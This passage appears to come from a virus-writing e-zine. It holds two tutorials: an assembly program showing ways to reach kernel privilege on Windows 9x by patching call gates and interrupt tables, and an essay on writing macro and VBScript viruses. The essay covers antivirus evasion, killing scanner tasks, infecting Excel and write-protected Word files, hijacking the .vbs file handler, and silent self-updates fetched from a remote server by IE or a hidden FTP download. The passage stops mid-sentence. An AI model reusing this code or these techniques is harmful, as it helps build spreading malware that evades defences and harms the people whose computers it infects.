;techniques we can use to obtain ring0 access in Win9x platform. I think
;ring0 quest for WinNT platform deserves its own article; I'm currently
;researching new ways to get ring0 for WinNT (including Win2000) using
;some exploits. But I'm afraid you will have to wait for a future 29A
;issue. Meanwhile, I hope you enjoy this article.
;
;I have collected some techniques from existing viruses (some of them are
;mine) and I have written some more that I believe haven't been used on
;any virus yet. If you happen to discover any other way to get ring0,
;please let me know... It'll be exciting for me to gain more ring0 power!
;
;As you have noticed, this article can be compiled with TASM32, heheheh
;I have decided to do it this way, so you can compile all code and follow
;step by step, as you read the explanations in the comments. I've tried to
;code without optimizations, so you don't suffer trying to understand what
;the code does. If by chance you find some strange code, skip it and get
;to next one ;-D
;
;Oh! btw, if you hear some ambulance in your PC speaker... don't panic ;-)
;If you hear nothing, please, go to a doctor!!! X-DDD
;
;Compile as follows:
; TASM32 -ml -m29A ring0.asm
; TLINK32 -Tpe -aa -c -x ring0.obj,ring0.exe,,import32.lib
;
;
;skip the beginning... it's boring ;-)
;(go directly to code section)
;
;
;Due to lack of time, I had to break this tutorial in two pieces. Part two
;will be available soon, along with WinNT stuff (i hope!)

;===================================================================
; LET's BEGIN ...
;===================================================================

.386p
locals
jumps
.model flat ;if u can read this, u dont need glasses hahahah

;some APIs that we need...

extrn MessageBoxA : near


extrn GetVersion : near
extrn GetVersionExA : near
extrn GetModuleHandleA : near
extrn ExitProcess : near
;some defines that may be interesting...

Pushad equ 20h

;===================================================================
; DATA SECTION
;===================================================================

.data

Msg0 db 'Ring0 Quest',0


Msg1 db 'Starting...',0
Msg2 db 'Bye Bye!!!',0
Msg3 db 'WinNT still not supported',0

Freq db 08h

aNTDLL db 'NTDLL.DLL',0
aKERNEL32 db 'KERNEL32.DLL',0

VersionInfo db 94h dup(0)

GDTR db 6 dup(?)
IDTR db 6 dup(?)

LDTR dw ?
_LDTR db 6 dup(?)

FreeGDT1 dw ?
FreeLDT1 dw ?

CallGate db 6 dup(?)

VxdCall dd ?

;===================================================================
; CODE SECTION
;===================================================================

.code

;===> <===
;===> U should start reading HERE <===
;===> <===

Start proc near

; int 3 ;-)

pushad ; preserve registers

;some nice presentation (don't forget to press the button X-D)

push 0
push offset Msg0
push offset Msg1
push 0
call MessageBoxA
;Before jumpping to ring0, we should detect the windows platform. It should
;be Win9x, not WinNT. Here I present you many methods of doing so. They all
;should work fine... choose one...

;Avoiding WinNT : method 1


;~~~~~~~~~~~~~~~~~~~~~~~~~

;GetVersion API returns some interesting information in a DWORD.


;If the most significant bit is set to one, the platform is Win9x,
;else it indicates winNT.

call GetVersion
or eax,eax
jns @@WinNT

;Avoiding WinNT : method 2


;~~~~~~~~~~~~~~~~~~~~~~~~~

;GetVersionExA API returns a lot more info in the OSVERSIONINFO structure


;which is 94h bytes long. The first dword should contain the size of this
;structure. the fifth dword (offset 10h) is the dwPlatformId value, which
;identifies the platform.
;Value 0 means Win32s on windows3.x
;value 1 means Win9x
;value 2 means WinNT

mov esi,offset VersionInfo


mov dword ptr [esi],94h
push esi
call GetVersionExA
xchg ecx,eax
jecxz @@WinNT
cmp dword ptr [esi+10h],1
jnz @@WinNT

;Avoiding WinNT : method 3


;~~~~~~~~~~~~~~~~~~~~~~~~~

;This is a very simple and short method of detecting Win9x. The Kernel32
;is responsible for giving the control to the host (or virus entrypoint),
;by means of a "JMP EAX" instruction (that's why EAX contains the address
;of the EntryPoint in Win9x platforms). When Host gets control there is
;a dword pushed in the stack, which is the address of a KERNEL32 routine
;that gets control if we exit with a simple RET instruction. That code
;is inside KERNEL32, which has an image base of 0BFF70000h in Win9x
;platform. So, we can simply check high byte 0BFh to ensure that we
;are on Win9x.

cmp byte ptr [esp+Pushad+03h],0BFh


jnz @@WinNT

;if you prefer a more optimized version, you can use the following code
;(only if you haven't pushed any value since you got control), extracted
;from my Repus.168 virus:
;
;(dont execute this here, because stack has been modified)
;
; pop eax
; push eax
; inc eax ; EAX<80000000h on WinNT platform
; jns @@WinNT

;Avoiding WinNT : method 4


;~~~~~~~~~~~~~~~~~~~~~~~~~

;We can do something similar to previous method, but using GetModuleHandle


;API to get the image base of KERNEL32, and decide if its WinNT according
;to its value:

push offset aKERNEL32


call GetModuleHandleA
or eax,eax
jns @@WinNT

;Avoiding WinNT : method 5


;~~~~~~~~~~~~~~~~~~~~~~~~~

;We can also use GetModuleHandle API to check for modules that only WinNT
;has loaded in memory, such as: HAL.DLL, NTDLL.DLL, etc...
;Other possibility would be to use GetProcAddress API to get the address
;of a WinNT specific routine. If it doesnt exist, then we are not in WinNT

push offset aNTDLL


call GetModuleHandleA
or eax,eax
jnz @@WinNT

;Avoiding WinNT : method 6


;~~~~~~~~~~~~~~~~~~~~~~~~~

;Another simple method consists on checking the value of the CS selector


;(other selector could also be checked).
;
;Under WinNT platform:
; ring0 CS = 0008h
; ring0 DS = 0010h
; ring3 CS = 001Bh
; ring3 DS = 0023h
;
;However, Win9x platforms have a higher value, above 100h, so we can exploit
;this difference. The following code is extracted from my Repus.256 virus:

mov ecx,cs
xor cl,cl
jecxz @@WinNT

;Avoiding WinNT : method 7


;~~~~~~~~~~~~~~~~~~~~~~~~~

;Other simple way of detecting WinNT is to check if a LDT exists. If it


;doesn't exist, then it must be WinNT. If it has a non zero value, then
;it is Win9x (win32 applications have LDT)

sldt cx
jcxz @@WinNT

;I think it's enough for detecting WinNT. There are a lot more ways of
;detecting WinNT platform. If you discover some short and interesting
;way, please send it to me. It would be convenient to use SEH to avoid
;unexpected errors while checking the platform. SEH can also be used
;to detect platform if you touch things that WinNT wouldn't permit it.
;I also suggest you make this checks metamorphic, so AVers cannot rely
;on this to discover suspected behaviour.

;I know you can't wait more... so, lets start the Ring0 Quest...

;I will first present standard methods of jumpping to ring0, through


;CallGates, IntGates and ExceptionGates. You can get a lot of information
;on these methods from Intel manuals (take a look if you don't understand
;the meaning of some bits)

;lets get some information about protected mode...

sgdt fword ptr [GDTR]


sidt fword ptr [IDTR]
sldt word ptr [LDTR]

;lets get the LDT base, for later usage

movzx esi,word ptr [LDTR]


add esi,dword ptr [GDTR+2]

mov ax,[esi]
mov word ptr [_LDTR+0],ax ; save limit of LDT
mov ax,[esi+2]
mov word ptr [_LDTR+2],ax ; save LDT base
mov al,[esi+4]
mov byte ptr [_LDTR+4],al
mov al,[esi+7]
mov byte ptr [_LDTR+5],al

;Getting Ring0 : CallGates


;~~~~~~~~~~~~~~~~~~~~~~~~~

;The CallGate mechanism is very simple. We only need a free GDT or LDT
;entry, to fill it with the address of our ring0 code, the ring0 selector
;(we have used 28h which is Win9x ring0 code selector, but you can create
;your own ring0 code selector instead) and the right bits to make it work
;as a 32-bit callgate. To get into ring0 we just need to make a call far
;to the choosen ring0 code selector, and any offset (it doesn't matter
;which one we use); in our example we have shoosen a null offset. When
;our ring0 code gets control, CS:EIP has been pushed into the stack,
;so in order to get back to ring3, we must use the RETF instruction.

;Here we have an example using GDT...

call Search_GDT

mov esi,dword ptr [GDTR+2]

push offset Ring0Code_retf


pop word ptr [esi+eax+0]
mov word ptr [esi+eax+2],0028h
mov word ptr [esi+eax+4],0EC00h
pop word ptr [esi+eax+6]

mov [FreeGDT1],ax
and dword ptr [CallGate],0
mov word ptr [CallGate+4],ax

call fword ptr [CallGate] ; ring0!

;Here we have an example using LDT...

call Search_LDT

mov esi,dword ptr [_LDTR+2]

push offset Ring0Code_retf


pop word ptr [esi+eax+0]
mov word ptr [esi+eax+2],0028h
mov word ptr [esi+eax+4],0EC00h
pop word ptr [esi+eax+6]

or al,4
mov [FreeLDT1],ax

and dword ptr [CallGate],0


mov word ptr [CallGate+4],ax

call fword ptr [CallGate] ; ring0!

;Getting Ring0 : IntGates


;~~~~~~~~~~~~~~~~~~~~~~~~

;This method consists on getting ring0 priviledge by means of a software


;interrupt. We need to modify an IDT entry so that its handler points to
;our ring0 code. The selected IDT entry should have DPL=3 so that we can
;execute the interrupt from ring3. We may choose interrupts what have
;already DSL=3, such as 01h,03h,04h,05h,30h. If we choose those
;interrupts, we just need to save the handler offset and sustitute with
;our own ring0 handler. When our ring0 interrupt code gets control, the
;processor has already pushed (in the ring0 stack) the flags, the ring3
;code selector and the ring3 return offset. So, in order to return back
;to ring3, we have to use an IRET instruction.

;Lets see an example, using interrupt 05h:

mov esi,dword ptr [IDTR+2]

push dword ptr [esi+(8*5)+0] ; save IDT entry


push dword ptr [esi+(8*5)+4]

push offset Ring0Code_iret


pop word ptr [esi+(8*5)+0]
pop word ptr [esi+(8*5)+6]

int 05h ; ring0!

pop dword ptr [esi+(8*5)+4] ; restore IDT entry


pop dword ptr [esi+(8*5)+0]

;We can do the same with interrupt 03h, using the int3 one-byte opcode
;or the two-byte interrupt instruction:
push dword ptr [esi+(8*3)+0] ; save IDT entry
push dword ptr [esi+(8*3)+4]

push offset Ring0Code_iret


pop word ptr [esi+(8*3)+0]
pop word ptr [esi+(8*3)+6]

;lets try with 2-byte version...

db 0CDh,03h ; ring0!

;now lets try with 1-byte (for optimization fans)

db 0CCh ; ring0! (mmmh... "sounds" great! X-DDD)

pop dword ptr [esi+(8*3)+4] ; restore IDT entry


pop dword ptr [esi+(8*3)+0]

;If you want more anti-debugging ways, try to use interrupt 01h. You can
;use the interrupt instruction (2 bytes) or you can use the undocumented
;opcode 0F1h which has the same effect (it may not work on some weird
;processors?)

push dword ptr [esi+(8*1)+0] ; save IDT entry


push dword ptr [esi+(8*1)+4]

push offset Ring0Code_iret


pop word ptr [esi+(8*1)+0]
pop word ptr [esi+(8*1)+6]

;has your softice survived? X-D

;lets try with 2-byte version...

db 0CDh,01h ; ring0!

;now lets try with 1-byte (for optimization fans)

db 0F1h ; ring0!

pop dword ptr [esi+(8*1)+4] ; restore IDT entry


pop dword ptr [esi+(8*1)+0]

;Now, we are gonna use another interrupt, no matter which one (but inside
;the IDT limits!), so we'll not only need to write the address of our ring0
;handler, but also the characteristics of the IDT descriptor, as well as
;the ring0 code selector. Lets try with interrupt 20h (used from ring0 to
;call VxD services, so if you use them, don't forget to restore IDT entry!)

push dword ptr [esi+(8*20h)+0] ; save IDT entry


push dword ptr [esi+(8*20h)+4]

push offset Ring0Code_iret


pop word ptr [esi+(8*20h)+0]
mov word ptr [esi+(8*20h)+2],0028h
mov word ptr [esi+(8*20h)+4],0EE00h
pop word ptr [esi+(8*20h)+6]

int 20h ; ring0!

pop dword ptr [esi+(8*20h)+4] ; restore IDT entry


pop dword ptr [esi+(8*20h)+0]
;In case you choose an exception handler as your interrupt, be careful
;not to generate an exception inside your code, or else it may be
;recursive! For example, don't access a non-present page if you choose
;interrupt 0Eh (generated when a page fault occurs)

;Lets have more fun with interrupts... Now we'll use last IDT entry:

movzx ebx,word ptr [IDTR]


sub ebx,7

push dword ptr [esi+ebx+0] ; save IDT entry


push dword ptr [esi+ebx+4]

push offset Ring0Code_iret


pop word ptr [esi+ebx+0]
mov word ptr [esi+ebx+2],0028h
mov word ptr [esi+ebx+4],0EE00h
pop word ptr [esi+ebx+6]

mov eax,ebx
shl eax,5
add eax,90C300CDh

push eax
call esp ; execute in stack: "int N" --> ring0!
pop eax

pop dword ptr [esi+ebx+4] ; restore IDT entry


pop dword ptr [esi+ebx+0]

;Getting Ring0 : TrapGates


;~~~~~~~~~~~~~~~~~~~~~~~~~

;This is the same as IntGates, but the interrupt is generated by hardware,


;not by using INT instruction. Only interrupts 01h,03h and 04h can generate
;Trap exceptions. Interrupt 01h can also work as a Fault interrupt in rare
;situations, but we'll only describe it here as a Trap exception.

;We already played with interrupts 01h and 03h in previous examples issuing
;a software interrupt, but now the processor is gonna do it for us. We'll
;generate a 01h trap exception activating TF flag, to force a single-step
;execution. As a result, the interrupt 01h will take control. Don't forget
;to disable TF inside int1, so that it don't get execute again and again
;(imagine what could happen if single-step is activated while restoring
;int1 original handler!)

push dword ptr [esi+(8*1)+0] ; save IDT entry


push dword ptr [esi+(8*1)+4]

push offset Ring0Code_int1


pop word ptr [esi+(8*1)+0]
pop word ptr [esi+(8*1)+6]

pushfd
pop eax
or ah,1
push eax
popfd ; TF=1

nop ; ring0!

pop dword ptr [esi+(8*1)+4] ; restore IDT entry


pop dword ptr [esi+(8*1)+0]

;Now, lets try interrupt 04h (Overflow Exception):

push dword ptr [esi+(8*4)+0] ; save IDT entry


push dword ptr [esi+(8*4)+4]

push offset Ring0Code_iret


pop word ptr [esi+(8*4)+0]
pop word ptr [esi+(8*4)+6]

pushfd
pop eax
or ah,80h
push eax
popfd ; OF=1

into ; ring0!

pop dword ptr [esi+(8*4)+4] ; restore IDT entry


pop dword ptr [esi+(8*4)+0]

;Getting Ring0 : FaultGates


;~~~~~~~~~~~~~~~~~~~~~~~~~~

;This is the same as IntGates, but the interrupt is generated by hardware,


;not by using INT instruction. In this case we don't have to worry about
;DPL=3, we will leave it as it is (DPL=0). We only have to modify the
;address of the ring0 handler. The selector is already set to ring0 code
;selector (28h), and the bits are already set to indicate an exception
;interrupt. We also have to take care about the Error code that is pushed
;into the stack in some cases. Also pay attention to the CS:EIP pushed
;into stack when our ring0 code gets control, because it is pointing to
;the instruction which generated the exception; to avoid end-less loop,
;you have to modify the return address in the stack to point to the next
;instruction (or any other place you would like toget back to ring3).

;lets generate a Divide Error Exception (interrupt 0):

push dword ptr [esi+(8*0)+0] ; save IDT entry


push dword ptr [esi+(8*0)+4]

push offset Ring0Code_div


pop word ptr [esi+(8*0)+0]
pop word ptr [esi+(8*0)+6]

;we can use DIV or IDIV instructions

xor eax,eax
div eax ; ring0!

;we can use AAM instruction to implicitly divide by zero

aam 00h ; ring0!


;we can divide so that result doesn't fit in destination operand

mov edx,1
mov eax,0
div edx ; ring0!

pop dword ptr [esi+(8*0)+4] ; restore IDT entry


pop dword ptr [esi+(8*0)+0]

;lets generate a Bound Exception (interrupt 5):

;(It's not the same as we did before, executing an INT instruction)

push dword ptr [esi+(8*5)+0] ; save IDT entry


push dword ptr [esi+(8*5)+4]

push offset Ring0Code_bound


pop word ptr [esi+(8*5)+0]
pop word ptr [esi+(8*5)+6]

push 2
push 1
xor eax,eax ; 0 is not between 1 and 2 :-)

bound eax,[esp] ; ring0!

pop eax
pop eax

pop dword ptr [esi+(8*5)+4] ; restore IDT entry


pop dword ptr [esi+(8*5)+0]

;lets generate an Invalid Opcode Exception (interrupt 6):

push dword ptr [esi+(8*6)+0] ; save IDT entry


push dword ptr [esi+(8*6)+4]

push offset Ring0Code_arpl


pop word ptr [esi+(8*6)+0]
pop word ptr [esi+(8*6)+6]

;TASM doesn't want to compile ARPL instruction

db 63h,0C0h ; ARPL AX,AX ---> ring0!

;Pay attention to the previous instruction. We have choosen registers.


;If we had choosen memory access, we could have generated a fault
;exception, and our interrupt 6 handler wouln't have activated!!!

;lets try another invalid opcode

db 0FFh,0FFh

pop dword ptr [esi+(8*6)+4] ; restore IDT entry


pop dword ptr [esi+(8*6)+0]

;As you can see, there are plenty of ways to generate an exception,
;and take control in ring0 priviledge. You can even patch the original
;handler with a jump without modifying IDT entry. Discover your own way.
;Be original! don't copy from this tutorial! :-)

;I think, I'll stop here... I have no time... I will just present you
;some of the titles for part two... perhaps it gives you some ideas...

;Getting Ring0 : IRQs


;~~~~~~~~~~~~~~~~~~~~
;will be available in Win9x "Ring0 Quest Part II"
;(see example in Repus.128)

;Getting Ring0 : Ports


;~~~~~~~~~~~~~~~~~~~~~
;will be available in Win9x "Ring0 Quest Part II"

;Getting Ring0 : VMM


;~~~~~~~~~~~~~~~~~~~
;will be available in Win9x "Ring0 Quest Part II"
;(see FuckHarry, among others)

;Getting Ring0 : CallBacks


;~~~~~~~~~~~~~~~~~~~~~~~~~
;will be available in Win9x "Ring0 Quest Part II"

;Getting Ring0 : Thunks


;~~~~~~~~~~~~~~~~~~~~~~
;will be available in Win9x "Ring0 Quest Part II"

;Getting Ring0 : DeviceIOControl


;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
;will be available in Win9x "Ring0 Quest Part II"

@@Finish:

;I hope you have enjoyed this article!

push 0
push offset Msg0
push offset Msg2
push 0
call MessageBoxA

jmp @@Exit

@@WinNT:

;WinNT platform will be conquered soon!!!

push 0
push offset Msg0
push offset Msg3
push 0
call MessageBoxA

@@Exit:

popad ; recover registers

push 0
call ExitProcess

Start endp

;-------------------------------------------------------------------

Get_VxdCall proc near

pushad

push offset aKERNEL32


call GetModuleHandleA ; EAX = Kernel32 image base

;mmmh... too much optimized? :-)

mov ebx,[eax+3Ch] ; EBX = RVA of PEheader


mov ebx,[eax+ebx+78h] ; EBX = RVA of ExportTable
mov ebx,[eax+ebx+1Ch] ; EBX = RVA of AddressTable
add eax,[eax+ebx] ; EAX = Address of VxdCall API

mov [esp+1Ch],eax ; return EAX

popad

ret

Get_VxdCall endp

;-------------------------------------------------------------------

Search_GDT proc near

pushad

mov esi,dword ptr [GDTR+2]

mov eax,8 ; skipping null selector

@@1:

cmp dword ptr [esi+eax+0],0


jnz @@2
cmp dword ptr [esi+eax+4],0
jz @@3

@@2:

add eax,8

cmp ax,word ptr [GDTR]


jb @@1

;if we haven't found any free GDT entry, lets use the last two entries

movzx eax,word ptr [GDTR]


sub eax,7

@@3:

mov [esp+1Ch],eax ; return EAX

popad

ret

Search_GDT endp

;-------------------------------------------------------------------

Search_LDT proc near

pushad

mov esi,dword ptr [_LDTR+2]

mov eax,8 ; skipping null selector

@@1:

cmp dword ptr [esi+eax+0],0


jnz @@2
cmp dword ptr [esi+eax+4],0
jz @@3

@@2:

add eax,8

cmp ax,word ptr [_LDTR]


jb @@1

;if we haven't found any free GDT entry, lets use the last two entries

mov ax,word ptr [_LDTR]

sub eax,7

@@3:

mov [esp+1Ch],eax ; return EAX

popad

ret

Search_LDT endp

;-------------------------------------------------------------------

Ring0Code_ret proc near

pushad
call Beep
popad

ret

Ring0Code_ret endp
;-------------------------------------------------------------------

Ring0Code_retf proc far

pushad
call Beep
popad

retf

Ring0Code_retf endp

;-------------------------------------------------------------------

Ring0Code_iret proc far

pushad
call Beep
popad

iretd

Ring0Code_iret endp

;-------------------------------------------------------------------

Ring0Code_int1 proc far

pushad
call Beep
popad

and byte ptr [esp+9],0FEh ; TF=0

iretd

Ring0Code_int1 endp

;-------------------------------------------------------------------

Ring0Code_div proc far

pushad
call Beep
popad

add dword ptr [esp],2 ; skip DIV instruction!!!

iretd

Ring0Code_div endp

;-------------------------------------------------------------------

Ring0Code_bound proc far

pushad
call Beep
popad

add dword ptr [esp],3 ; skip BOUND instruction!!!


iretd

Ring0Code_bound endp

;-------------------------------------------------------------------

Ring0Code_arpl proc far

pushad
call Beep
popad

add dword ptr [esp],2 ; skip ARPL instruction!!!

iretd

Ring0Code_arpl endp

;-------------------------------------------------------------------

Beep proc near

pushad

mov al,0B6h
out 43h,al

mov al,[Freq]

out 42h,al
out 42h,al

xor byte ptr [Freq],0Ch ; Choose another frequency for next beep
; It sounds like an ambulance X-DDD

in al,61h
or al,3
out 61h,al

mov ecx,1000000h

loop $

and al,0FCh
out 61h,al

popad

ret

Beep endp

;===================================================================
;===================================================================

ends
end Start ; yeah! its the end! :-)SUB
? ? ?
? ____
/ \ ?
Four elephants on a tortoise! ? / \ _ \ ?
(An essay about advanced VBx) ( .o o. ) ___
.by jackie __/ ^ \/ \
/ \___o____ \

.Introduction

Hi there kids, this is your phunky ol' retired friend (!) back with another
sloppy tutorial about four elephants on a tourtoise. In this essay I'm going
to talk about some kewl topics concerning coding viruses in VBx. Check the
short table of contents.

.Antiheuristic for the mass


.Language and user independent coding
.Infection of write-protected files
.VBScript infection - The jackie theory
.Virus Update via WWW
.Winzip archives and viruses

As you see, more or less no one of all you macro coders out there plays a-
round with these stuff, except a few guys (the old punks, hehehe, hi there
guys!) sat down for a while and thought about technics like these. As a fact
out of this, your creations get detect as Class.xx, Marker.xx, Across.xx,
LoveLetter.xx, and so on, as you see, it seems like all your stuff is hacked
shit for the AV community. Well, oh boy, the answer is easy, because most of
you guys just use old technics, old sceme's, old shit, old hacks instead of
sitting down, thinking, trying and researching. As output we can see masses
of lame macros. That's why there are 36 variants of Marker, because you guys
just change this and that in code, not because Spo0ky has written all of 'em
that was you guys. X-D And one thing you should have in front of your eyes,
what counts in VX community is the quality of coding and not the quantity.
No one will care if you write 1000s of viruses which are all just hacks and
strains. My friends, it's time to wake up and realize that virus coding is
not a thing of destruction, it's a thing of art. Every single line of code
represents it's coder. I know that there are too much lame wanna-be 'coders'
around which behave like the sickest guys on earth with the 'Yo, man, I code
virii man, get outta my way man!' attitude. These are the ones that try to
show off in front of their computer - friends. These are the ones that rep-
lace original signatures and names in original authors code and claim to be
a virus writer. Hihihi. If you are such a guy, I feel very sorry for your
poor stupid mind. It's time to change young coder. Otherwise you will never
get it and you will never be accepted and understood. The best example for
lameness and attitude problems combined with the topic of viruses, is the
virus section of the messageboard on a german ' hackers ' site. Viruses are
not made to destroy data of your ex-friend, etc get that kiddies. I could
talk and discust about these guys hours and hours, but this is not topic of
this paper. I'm sorry dear reader, but I do not want you to get like that
lamer's around the cyberspace. X-D So, after that short column about general
attitude, we can start with our first topic today, let see what we will have
before going to bed...

.Antiheuristic for the mass

I see, ya're still here young coder. Okies, let see what we got for today.
I am gonna tell you about the thing called 'Antiheuristics'. Well, some time
ago, the AV community decided to use such a thing as 'Heuristic' to scan for
viruses, which really helped 'em a lot to detect viruses, and they still use
it. XD. Ok, as you might have realized, it's some kinda special technic to
detect viruses and the thing we can do is called 'Antiheuristic', which are
technics that can avoid heuristic detection of your virus. If you are the
proud owner of a copy of Norton AntiVirus 5.X or higher, you might have not-
iced that thing which is called ' Bloodhound '. Heh, this is NAV's heuristic
engine. Pretty rad. XD. I think you have had your expiriences with it, but
it's really easy to fake and I will show you how.

First you must get in your head that the best medicine against heuristic is
a ' strange ' coding style. I mean, try to code not in the normal way, your
code might look strange, but, it's not detected. XD. For general information
about easy anti - heuristic coding please refer to my other tutorial called
'A phreaky macro primer'. You should find some basics in chapter 15.

Okies, well, an easy technic to fake bloodhound, is to use objects in a ph-


reaky way. Just look at that.

Set objPhreaky = Word.Application.Application.Application.ActiveDocument

I used the object ' Application ' three times, result is that the heuristic
won't get it as it is meant to be.

varPhreaky = VBA.Chr(54) & VBA.Chr(54) & VBA.Chr(54)

As you can see, I used the object 'VBA' infront, which has the same result
for our purpose, but it fakes the heuristic.

Word.Application.Options.VirusProtection = j

Again, the object ' Word ' infront and something special behind, a variable
without type and value. It werks! XD

j = j + 1
Set objCheesy = Word.Application.VBProject.VBComponents(j).CodeModule

I replaced the '1' for the component with a variable with the value '1'. It
is just a basic trick.

Set objCheesy = Word.Application.VBProject _


.VBComponents(CDec(CInt(Abs(1)))).CodeModule

As you can see, it looks strange, but it werks fine. You might have noticed
what I mean with 'strange' - coding style. XD. To fake a heuristic you just
need to sit down for a while and think, try, research as I said before. Well
this were some methods to code antiheuristic code and another one is to add
encryption, remove obvious commands, etc. I hope you got what anti-heuristic
means and what's it's purpose on virus coding. Btw, here are three lines of
code that have not so much to do with anti - heuristic but with killing AV
monitors. It's take from my W97M.Co0kie virus XD. Enjoy!

For y = 1 To Tasks.Count
If InStr(1, LCase(Tasks(y).Name), "vir") Then Tasks(y).Close
Next

This little piece of code does not more than kill all tasks that could be a
virus scanner. XD.

In the end of the chapter about anti - heuristic I wanted to tell you that
you can use this technics in all areas, not only in Word. XD. I just did the
Word compatible code as an example, because most of you have never touched
any other application.
.Language and user independent coding

Dear young coder, you're still with me? Kewlie. Okies, let me get you into
another chapter concerning 'language and user independent coding' this time.
As you coded your creations, or not, you might have noticed that if you want
ed to some stuff like a worm script for mIRC, or use Winzip, or any other
application. The key to our needs is to use the registry to get all needed
information about the application we want to abuse. For example I will show
you now how to get the 'Program files' directory.

p = Application.System.PrivateProfileString("", _
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", _
"ProgramFilesDir")

This example werks for Word97, but it's easy to get the path from any other
Office application too. Just export the regkey with the shell command using
'regedit.exe' and read it into a string and use InStr(), Mid(), etc to get
the needed string. Easy, isn't it? But I want YOU to code, so no examples
for you. XD. Another example to get the windows directory, no matter if we
are in Win9X or WinNT, is to use the Environ() function. Lemme show you how.

w = VBA.Environ("windir")

This is a little effective method to get the windows directory without of


API use.

Well, nearly all programs do have entrys in the windows registry where you
can get informations like installation path, save directories, etc. Just try
to research a bit. You can see that this is a kewl method to get dir's, etc
because every infected user could have windows in another directory than you
or anyone else, even the directory for the programs. So if you want to get
language independent use this tricks. XD.

Another thing I'm going to talk about in this paper is the infection of
Excel class modules. Well, I'm pretty sure that 90% of you dear readers have
never touched Excel or any other application than Word to write macros. Ok,
there is something that was a stone in my way of infecting Excel class stuff
since the first one was born. Lemme give you a brief intro to it.

The Excel class module can't be accessed via stuff like using the ordinary
command like '.VBComponents(1)', because the first component varies in every
.xls file. So we were forced to use the name of the class module which is in
english versions of Excel named 'ThisWorkbook'. Okies, so all viruses which
used this technic would only work under the version which they where hard-
coded for. ie 'DieseArbeitsmappe' for german version.

As I had nothing better to do, I sat down for a while and thought about a
solution to fix this language problem. Well, as God wanted, I found a little
trick to solve the problem. The class module of every VBA project has a spe-
cial number of properties on which I could identify it as Class module. Look
at the piece of code below taken from my X97M.fireal, the first class virus
that is able to spread under all version of Excel, no matter what language.

For Each fireal In ThisWorkbook.VBProject.VBComponents


If fireal.Properties.Count = 73 Then _
ourcode = fireal.codemodule.Lines(1, 22)
Next

First I walk through all the components and get the one I want and save the
virus code for later use in a variable. That's the routine fireal uses to
get its code. And I use the same style to find new classes to infect.
For Each fireal In book.VBProject.VBComponents
If fireal.Properties.Count = 73

[...]

End If
Next

This technic is called 'Fireal-technic' and I'm sorry, I'm too stoned to re
member why it has such a name!?. XD. I should take some vitamin pills. Okies
I hope you got the clue and understood what I wanted to teach y'all young
coders.

.Infection of write-protected files

In this chapter I will tell y'all something about the infection of write-
protected files and how to infect them. You will see it's pretty easy to in-
fect write protected files, but it has one point that we have to notice. The
technic described here only works under Word97 SR-1 or higher and Word2000.
Besides that there are two kinds of protection, the normal write-protection
of windows and the VBA project protection. We can't yet infect documents
which are protected by VBA, but protected files by windows. Okies, let's
drop some code.

If GetAttr(ActiveDocument.FullName) = 1 Then
SetAttr ActiveDocument.FullName, 0
ActiveDocument.Reload
End If

[...]

SetAttr ActiveDocument.FullName, 1

Use this code to infect write-protected documents and restore afterwards. I


won't show you how to do it with NormalTemplate because if you're too stupid
to find out for yourself you should drop this paper quick. Phuck, this chap-
ter is short. Nargh, well I'm sorry, there's not more to say about this shit
and I don't know any other technic to do it. XD.

.VBScript infection - The jackie theory

Yummie, yummie. I hope everything fits tight ... XD. While the world keeps
spinning around, I am gonna tell the young coders out there something about
a phreaky way to infect .vbs files. Since .vbs viruses use this same old te-
chnic to search and infect files, I took some of my little time and invented
some new technic to do it. It has to do something with hooking, because each
.vbs file that gets executed gets infected too. Well, the theory is easy and
the example code too. Let's see some code about the ' jackie theory of .vbs
infection'. First of all you need the arguments.

Set objArguments = WScript.Arguments

You can check for arguments using this...

objArguments.Count

And access them via this command...

objArguments(0)
objArguments(1)
[...etc...]

As you see, you can easy use this commands to make your .vbs virus kinda
resisdent. Just get the regkey of the .vbs shell, by using this:

varCurrentShell = objShell.RegRead _
("HKEY_CLASSES_ROOT\VBSFile\Shell\Open\Command\")

Now you add yourself to this shell command, for example the new shell would
be ' c:\windows\wscript.exe infinity.vbs %1 ' or kinda equal. Now every .vbs
file gets executed via your infected .vbs file. So it's an easy trick to get
the path and infect all the files in that path, inclusive the executed .vbs
file. Ohhh , last but not least you have to execute the just infected .vbs
file by our virus, otherwise it wound run. Just use this.

Set objShell = CreateObject("WScript.Shell")


objShell.Run "wscript.exe" & chr(32) & objcommandline(0)

That's all for that topic today. I wrote VBS/Infinity, which uses this tech
nic. Just toy a bit around with that code pieces. All is said and done. xD

.Virus Update via WWW

Back with another topic today, I am going to tell ya'll young coders about
a new interesting technic in virus coding. The vision of a virus which is
capable to update itself via the WWW. Well, Vecna did it first (Ya rule man)
in Asm and I did it after that for all the macro people out there. xD.

There are two technics which I researched, the first one is used my little
example virus called W97M/One. It uses (Radio)ActiveX to update itself. Just
take a close look at the code below.

Set objNET = CreateObject("InternetExplorer.Application")


Do While objNET.Busy
VBA.DoEvents
Loop
objNET.Visible = 0
objNET.Navigate "http://www.your-url-here.org/your-file-here.txt"
Do While objNET.ReadyState <> 4
VBA.DoEvents
Loop
sCode = objNET.Document.Body.innerText
objNET.Quit

Well, all we do is getting an ActiveX object, after that we make a loop un-
til our beloved IE is loaded. Then we let IE load our source code file or
whatever and make a loop again until IE loaded the file. We store the text
which is our source code, into a variable and voila, we have some new piece
of code in it, so it's your decision what you do with it now. xD.

My W97M/One uses some ID and an internal version number to check for an up-
date. This helps if there was no active connection, or the file wasn't found
for any other reason. Just be creative, well, at least a bit.

The second technic uses FTP.EXE to get file from the net. All you need is
an ftp where you can upload your updates. xD.

First open a file and print the following stuff in it.

Open "c:\bla.ftp" For Output As #1


Print #1, "open ftp.server.org"
Print #1, "Your-User-Name"
Print #1, "Your-Top-Secret-Password"
Print #1, "cd /your-dir-here/"
Print #1, "hash"
Print #1, "bin"
Print #1, "prompt"
Print #1, "lcd c:\"
Print #1, "mget your-file.ext"
Print #1, "bye"
Close #1

Then launch FTP.EXE and download our stuff. xD

Shell "c:\windows\ftp.exe -s:c:\bla.ftp", vbHide

Now you should have your file on the users hdd and you can work with it but
it's not part of that paper to tell you how. Check it out for yourself. xD

As you see, it's not the big deal, and as Mister Sandman says, the most im-
portant thing is to be creative. xD. Here you are! As I said, just toy a bit
with that.

.Winzip archives and viruses

Fasten your seatbelt young coder, in this last chapter of 'Four elephants
on a tortoise!' I'm gonna show you some of the lastest developements. I have
